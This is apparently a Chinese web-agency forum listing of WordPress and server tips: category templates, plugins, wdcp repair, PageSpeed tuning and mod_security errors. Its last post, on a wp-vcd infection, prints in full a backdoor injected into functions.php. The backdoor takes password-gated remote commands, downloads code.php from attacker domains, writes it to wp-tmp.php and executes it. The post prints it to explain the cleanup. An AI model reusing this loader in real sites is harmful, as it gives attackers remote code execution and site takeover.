Shopify Free Trial Apply
Shopify 60天试用
Shopify 14天试用
WordPress

WordPress

为WordPress分类添加模板选项

WordPressBob 发表了文章 • 1 个评论 • 7 次浏览 • 21 小时前 • 来自相关话题

如上图所示,我们现在使用WordPress做的网站,网站分类的模板默认都是统一的,不像后台添加页面的时候可以随意选择模板。即使我们想要添加不同的模板也只能是根据不同的分类ID或者分类slug来命名这些模板,比如:category-id.php或者category-slug.php。这样添加的话,每个分类都要添加一个模板,工作量巨大。
 
还有一种方法就是根据获取id或者slug,在模板文件里做成判断的形式,但是如果以后增加了分类,就要在模板文件里面再次添加id或者slug,过程繁琐。
 
今天介绍一个插件,可以非常快速的实现我们想要的功能,安装 Custom Category Templates 插件。插件启用后,会在category页面显示分类模板的选择选项。而我们只要制作一两个不同的分类模板即可。分类的模板需要添加一下内容: <?php
/*
Template Name: 模板A
*/
?>以上步骤完成以后,我们就会在分类看到模板选择按钮,如下图所示:




当然我们也可以在functions.php文件里面添加一段代码,来实现这个功能,此代码是在该插件里面提取出来的。 // 分类选择模板
class Select_Category_Template{
public function __construct() {
add_filter( 'category_template', array($this,'get_custom_category_template' ));
add_action ( 'edit_category_form_fields', array($this,'category_template_meta_box'));
add_action( 'category_add_form_fields', array( &$this, 'category_template_meta_box') );
add_action( 'created_category', array( &$this, 'save_category_template' ));
add_action ( 'edited_category', array($this,'save_category_template'));
do_action('Custom_Category_Template_constructor',$this);
}

// 添加表单到分类编辑页面
public function category_template_meta_box( $tag ) {
$t_id = $tag->term_id;
$cat_meta = get_option( "category_templates");
$template = isset($cat_meta[$t_id]) ? $cat_meta[$t_id] : false;
?>
<tr class="form-field">
<th scope="row" valign="top"><label for="cat_Image_url"><?php _e('Category Template'); ?></label></th>
<td>
<select name="cat_template" id="cat_template">
<option value='default'><?php _e('Default Template'); ?></option>
<?php page_template_dropdown($template); ?>
</select>
<br />
<span class="description"><?php _e('为此分类选择一个模板'); ?></span>
</td>
</tr>
<?php
do_action('Custom_Category_Template_ADD_FIELDS',$tag);
}

// 保存表单
public function save_category_template( $term_id ) {
if ( isset( $_POST['cat_template'] )) {
$cat_meta = get_option( "category_templates");
$cat_meta[$term_id] = $_POST['cat_template'];
update_option( "category_templates", $cat_meta );
do_action('Custom_Category_Template_SAVE_FIELDS',$term_id);
}
}

// 处理选择的分类模板
function get_custom_category_template( $category_template ) {
$cat_ID = absint( get_query_var('cat') );
$cat_meta = get_option('category_templates');
if (isset($cat_meta[$cat_ID]) && $cat_meta[$cat_ID] != 'default' ){
$temp = locate_template($cat_meta[$cat_ID]);
if (!empty($temp))
return apply_filters("Custom_Category_Template_found",$temp);
}
return $category_template;
}
}

$cat_template = new Select_Category_Template(); 查看全部
微信图片_20190423115644.png

如上图所示,我们现在使用WordPress做的网站,网站分类的模板默认都是统一的,不像后台添加页面的时候可以随意选择模板。即使我们想要添加不同的模板也只能是根据不同的分类ID或者分类slug来命名这些模板,比如:category-id.php或者category-slug.php。这样添加的话,每个分类都要添加一个模板,工作量巨大。
 
还有一种方法就是根据获取id或者slug,在模板文件里做成判断的形式,但是如果以后增加了分类,就要在模板文件里面再次添加id或者slug,过程繁琐。
 
今天介绍一个插件,可以非常快速的实现我们想要的功能,安装 Custom Category Templates 插件。插件启用后,会在category页面显示分类模板的选择选项。而我们只要制作一两个不同的分类模板即可。分类的模板需要添加一下内容:
    <?php
/*
Template Name: 模板A
*/
?>
以上步骤完成以后,我们就会在分类看到模板选择按钮,如下图所示:
微信图片_20190423120627.png

当然我们也可以在functions.php文件里面添加一段代码,来实现这个功能,此代码是在该插件里面提取出来的。
    // 分类选择模板
class Select_Category_Template{
public function __construct() {
add_filter( 'category_template', array($this,'get_custom_category_template' ));
add_action ( 'edit_category_form_fields', array($this,'category_template_meta_box'));
add_action( 'category_add_form_fields', array( &$this, 'category_template_meta_box') );
add_action( 'created_category', array( &$this, 'save_category_template' ));
add_action ( 'edited_category', array($this,'save_category_template'));
do_action('Custom_Category_Template_constructor',$this);
}

// 添加表单到分类编辑页面
public function category_template_meta_box( $tag ) {
$t_id = $tag->term_id;
$cat_meta = get_option( "category_templates");
$template = isset($cat_meta[$t_id]) ? $cat_meta[$t_id] : false;
?>
<tr class="form-field">
<th scope="row" valign="top"><label for="cat_Image_url"><?php _e('Category Template'); ?></label></th>
<td>
<select name="cat_template" id="cat_template">
<option value='default'><?php _e('Default Template'); ?></option>
<?php page_template_dropdown($template); ?>
</select>
<br />
<span class="description"><?php _e('为此分类选择一个模板'); ?></span>
</td>
</tr>
<?php
do_action('Custom_Category_Template_ADD_FIELDS',$tag);
}

// 保存表单
public function save_category_template( $term_id ) {
if ( isset( $_POST['cat_template'] )) {
$cat_meta = get_option( "category_templates");
$cat_meta[$term_id] = $_POST['cat_template'];
update_option( "category_templates", $cat_meta );
do_action('Custom_Category_Template_SAVE_FIELDS',$term_id);
}
}

// 处理选择的分类模板
function get_custom_category_template( $category_template ) {
$cat_ID = absint( get_query_var('cat') );
$cat_meta = get_option('category_templates');
if (isset($cat_meta[$cat_ID]) && $cat_meta[$cat_ID] != 'default' ){
$temp = locate_template($cat_meta[$cat_ID]);
if (!empty($temp))
return apply_filters("Custom_Category_Template_found",$temp);
}
return $category_template;
}
}

$cat_template = new Select_Category_Template();

如何实现先发送邮件,然后才能下载文件

WordPressLeo 发表了文章 • 1 个评论 • 19 次浏览 • 5 天前 • 来自相关话题

首先安装一个contact form 7插件,然后安装Contact Form 7 Controls插件,如下图设置





利用邮件发送之后的重定向功能,重定向到可供下载的文件。
不过有个弊端,就是一次只能下载一个文件。
适用于单个文件的下载。
 
之前试过Contact Form 7  +  Download Monitor  +   Email Before Download这三个插件组合的下载功能,初期是好用的,后续有各种莫名其妙的问题,导致无法下载。
 
另外这个Contact Form CFDB7插件可以装上,防止邮件丢失。 查看全部

1555570692(1).jpg
首先安装一个contact form 7插件,然后安装Contact Form 7 Controls插件,如下图设置

1555570806(1).jpg

利用邮件发送之后的重定向功能,重定向到可供下载的文件。
不过有个弊端,就是一次只能下载一个文件。
适用于单个文件的下载。
 
之前试过Contact Form 7  +  Download Monitor  +   Email Before Download这三个插件组合的下载功能,初期是好用的,后续有各种莫名其妙的问题,导致无法下载。
 
另外这个Contact Form CFDB7插件可以装上,防止邮件丢失。

推荐一款newsletter弹窗插件newsletter popup

WordPressLeo 发表了文章 • 1 个评论 • 151 次浏览 • 2019-02-14 14:50 • 来自相关话题

即装即用,很方便




有很多现成的框架。
 
具体效果如下图:




 
即装即用,很方便
1.png

有很多现成的框架。
 
具体效果如下图:
2.png

 

wdcp版本升级后,无法打开,解决办法

Linux运维Leo 发表了文章 • 1 个评论 • 150 次浏览 • 2019-01-31 09:24 • 来自相关话题

wdcp在登录后的首页,可以一键更新版本,但是很多情况下会出现之后无法打开wdcp的情况,这时候我们可以用SSH登录终端,然后执行下面的命令即可
sh /www/wdlinux/wdcp/shell/cr7.sh && service wdcp restart
 
对于有些系统,可能安装了其它的加固软件或加固设置,可能会执行不成功,导致如下的错误提示
cp: error writing ‘/etc/rc.d/init.d/wdcp’: Permission denied
cp: failed to extend ‘/etc/rc.d/init.d/wdcp’: Permission denied

意思是这个文件权限拒绝执行,请先检查自己的环境或做过的设置,然后修改下这个文件的权限,然后再执行一次上述脚本即可
不要乱执行777,否则,后果很危险,也可能很严重 查看全部
wdcp在登录后的首页,可以一键更新版本,但是很多情况下会出现之后无法打开wdcp的情况,这时候我们可以用SSH登录终端,然后执行下面的命令即可
sh /www/wdlinux/wdcp/shell/cr7.sh && service wdcp restart
 
对于有些系统,可能安装了其它的加固软件或加固设置,可能会执行不成功,导致如下的错误提示
cp: error writing ‘/etc/rc.d/init.d/wdcp’: Permission denied
cp: failed to extend ‘/etc/rc.d/init.d/wdcp’: Permission denied

意思是这个文件权限拒绝执行,请先检查自己的环境或做过的设置,然后修改下这个文件的权限,然后再执行一次上述脚本即可
不要乱执行777,否则,后果很危险,也可能很严重

项目添加相关产品以及如何查看是否开cloudflare

WordPresswendy 发表了文章 • 1 个评论 • 193 次浏览 • 2019-01-22 09:21 • 来自相关话题

1.添加相关产品字段
1.后台设置:





 
2.代码设置:





上述代码是默认的横排,若是更改样式,则在样式表里写入想要变换的样式。
 
3.产品后台设置:





 
2.查看网站是否开启cloud flare
法1:通过dos命令窗口ping





可以查看到为104开头,是为开启cloud flare的IP段
 
法2:上述方法需要判断,当不知道是否为cloud flare的IP段时,可通过工具查看










 
像上述工具还有whois
 
 

 
 

  查看全部
1.添加相关产品字段
1.后台设置:

1.1_.png

 
2.代码设置:

1.2_.png

上述代码是默认的横排,若是更改样式,则在样式表里写入想要变换的样式。
 
3.产品后台设置:

1.3_.png

 
2.查看网站是否开启cloud flare
法1:通过dos命令窗口ping

2.1_.png

可以查看到为104开头,是为开启cloud flare的IP段
 
法2:上述方法需要判断,当不知道是否为cloud flare的IP段时,可通过工具查看

2.2_.1_.png


2.2_.2_.png

 
像上述工具还有whois
 
 

 
 

 

WordPress站点优化突破Google PageSpeed Insights瓶颈喜提满分

Google SEOOwen 发表了文章 • 1 个评论 • 281 次浏览 • 2019-01-17 08:56 • 来自相关话题

虽测试到很高的得分,但途径并非只此一种,匆忙之余拿来分享给大家。
想必大家都知道要想加快网站加载速度,首先最简单明了的就是给图片压缩,方法有很多种,这里就不多做说明。
其次就是WP rocket 插件的设置。这里也是汲取了同事之前的经验,也没有绝对的标准答案,下面是本次得分WP rocket的设置截图:









这里需要说明一下:JavaScript Files 在选择这里的时候视情况而定,选择后需要检查你的网站是否有异常,如果没有异常说明设置没问题。如果页面需要的插件功能较多的话并且不可弃用。那么‘Combine JavaScript files’‘ Load JavaScript deferred’这两项是不建议勾选的,但勾选以后效果也很显著。 亲测VC里tabs ,Post Masonry Grid功能和fancybox插件功能失效。如果是速度至上的客户,并且有些插件功能非要不可,那么推荐安装一款用于指定插件的加载顺序的插件‘Plugin Organizer’,然后在指定页面取消勾选Minify/combine JS选项。




就可以解除对这个页面的js进行合并压缩。当然勾选的页面越多,相对应的速度也会有所降低。
见个人取舍。














然后就是由wordpress后台插件WPBakery建造的静态页面




就加载速度而言,静态页面的加载速度要比动态页面快很多。因为静态页面加载的时候,无需到数据库里搜索,大大提高了加载速度。
 
不过静态页面也存在着弊端,那就是内容更新不方便,每个网页都是一个独立的文件,内容相对稳定,交互性较差,但是我们可以通过wordpress后台插件Wpbakery我通俗会称为VC来建造静态页面并且也方便后期维护,不用再去模板里做修改了。

这次测试的站点也正是因为几乎整站都是用VC来建造,产品的图片和新闻确实需要动态调用除外。才得以在测试Google PageSpeed Insights得分时获得高分。

如此由wordpress后台插件VC建造的静态页面搭配WP rocket 插件的设置,即便当前测试的网站页面内容和复杂度都相对要高一点的站点也是能够得到很好的测试分数和速度的回馈。

最后分享一下当时Google PageSpeed Insights和Gtmetrix测试得分的截图,毕竟测试得分能够达到100分还是不多见的啦└(^o^)┘。所以很值得截图留念:









  查看全部
虽测试到很高的得分,但途径并非只此一种,匆忙之余拿来分享给大家。
想必大家都知道要想加快网站加载速度,首先最简单明了的就是给图片压缩,方法有很多种,这里就不多做说明。
其次就是WP rocket 插件的设置。这里也是汲取了同事之前的经验,也没有绝对的标准答案,下面是本次得分WP rocket的设置截图:
图片1.png


图片2.png

这里需要说明一下:JavaScript Files 在选择这里的时候视情况而定,选择后需要检查你的网站是否有异常,如果没有异常说明设置没问题。如果页面需要的插件功能较多的话并且不可弃用。那么‘Combine JavaScript files’‘ Load JavaScript deferred’这两项是不建议勾选的,但勾选以后效果也很显著。 亲测VC里tabs ,Post Masonry Grid功能和fancybox插件功能失效。如果是速度至上的客户,并且有些插件功能非要不可,那么推荐安装一款用于指定插件的加载顺序的插件‘Plugin Organizer’,然后在指定页面取消勾选Minify/combine JS选项。
图片3.png

就可以解除对这个页面的js进行合并压缩。当然勾选的页面越多,相对应的速度也会有所降低。
见个人取舍。
图片4.png


图片5.png


图片6.png

然后就是由wordpress后台插件WPBakery建造的静态页面
图片7.png

就加载速度而言,静态页面的加载速度要比动态页面快很多。因为静态页面加载的时候,无需到数据库里搜索,大大提高了加载速度。
 
不过静态页面也存在着弊端,那就是内容更新不方便,每个网页都是一个独立的文件,内容相对稳定,交互性较差,但是我们可以通过wordpress后台插件Wpbakery我通俗会称为VC来建造静态页面并且也方便后期维护,不用再去模板里做修改了。

这次测试的站点也正是因为几乎整站都是用VC来建造,产品的图片和新闻确实需要动态调用除外。才得以在测试Google PageSpeed Insights得分时获得高分。

如此由wordpress后台插件VC建造的静态页面搭配WP rocket 插件的设置,即便当前测试的网站页面内容和复杂度都相对要高一点的站点也是能够得到很好的测试分数和速度的回馈。

最后分享一下当时Google PageSpeed Insights和Gtmetrix测试得分的截图,毕竟测试得分能够达到100分还是不多见的啦└(^o^)┘。所以很值得截图留念:
图片8.png


图片9.png

 

WordPress疑难杂症之后台控制台503、500 error等

WordPressLeo 发表了文章 • 1 个评论 • 212 次浏览 • 2019-01-15 16:57 • 来自相关话题

此药方根据本草纲目第五十三卷所写,经过七七四十九分钟的文火慢熬,药效达到最佳。(ps:《本草纲目》,本草著作,52卷。明代李时珍(东璧)撰于嘉靖三十一年(1552年)至万历六年(1578年),稿凡三易。此书采用“目随纲举”编写体例,故以“纲目”名书。)
#万物皆刻盘# 
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:




4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭  

trust the process​






 
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
 
Don't worry!我会告诉你怎么解决的。
 
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)




查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,








这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
 
Perfect!!!
 
By the way,盘它。。。





 

  查看全部
此药方根据本草纲目第五十三卷所写,经过七七四十九分钟的文火慢熬,药效达到最佳。(ps:《本草纲目》,本草著作,52卷。明代李时珍(东璧)撰于嘉靖三十一年(1552年)至万历六年(1578年),稿凡三易。此书采用“目随纲举”编写体例,故以“纲目”名书。)
#万物皆刻盘# 
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:
1.png

4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭  


trust the process​



2.png

 
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
 
Don't worry!我会告诉你怎么解决的。
 
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)
3.png

查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,
4.png

5.png

这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
 
Perfect!!!
 
By the way,盘它。。。

6.png

 

 

针对隽永东方建站客户产品添加,资料整理建议

WordPressLeo 发表了文章 • 1 个评论 • 246 次浏览 • 2019-01-10 14:30 • 来自相关话题

产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。










 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理! 查看全部
产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。

1.png


2.png

 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理!

Ewww优化器插件报错“EWWW Image Optimizer需要exec() function”

WordPressLeo 发表了文章 • 1 个评论 • 169 次浏览 • 2019-01-07 11:37 • 来自相关话题

使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)





注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。 查看全部
使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)

1.png

注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。

针对 Wordpress 网站的新一轮 wp-vcd 恶意软件攻击

WordPressLeo 发表了文章 • 1 个评论 • 295 次浏览 • 2018-12-20 16:15 • 来自相关话题

最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。 查看全部
最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
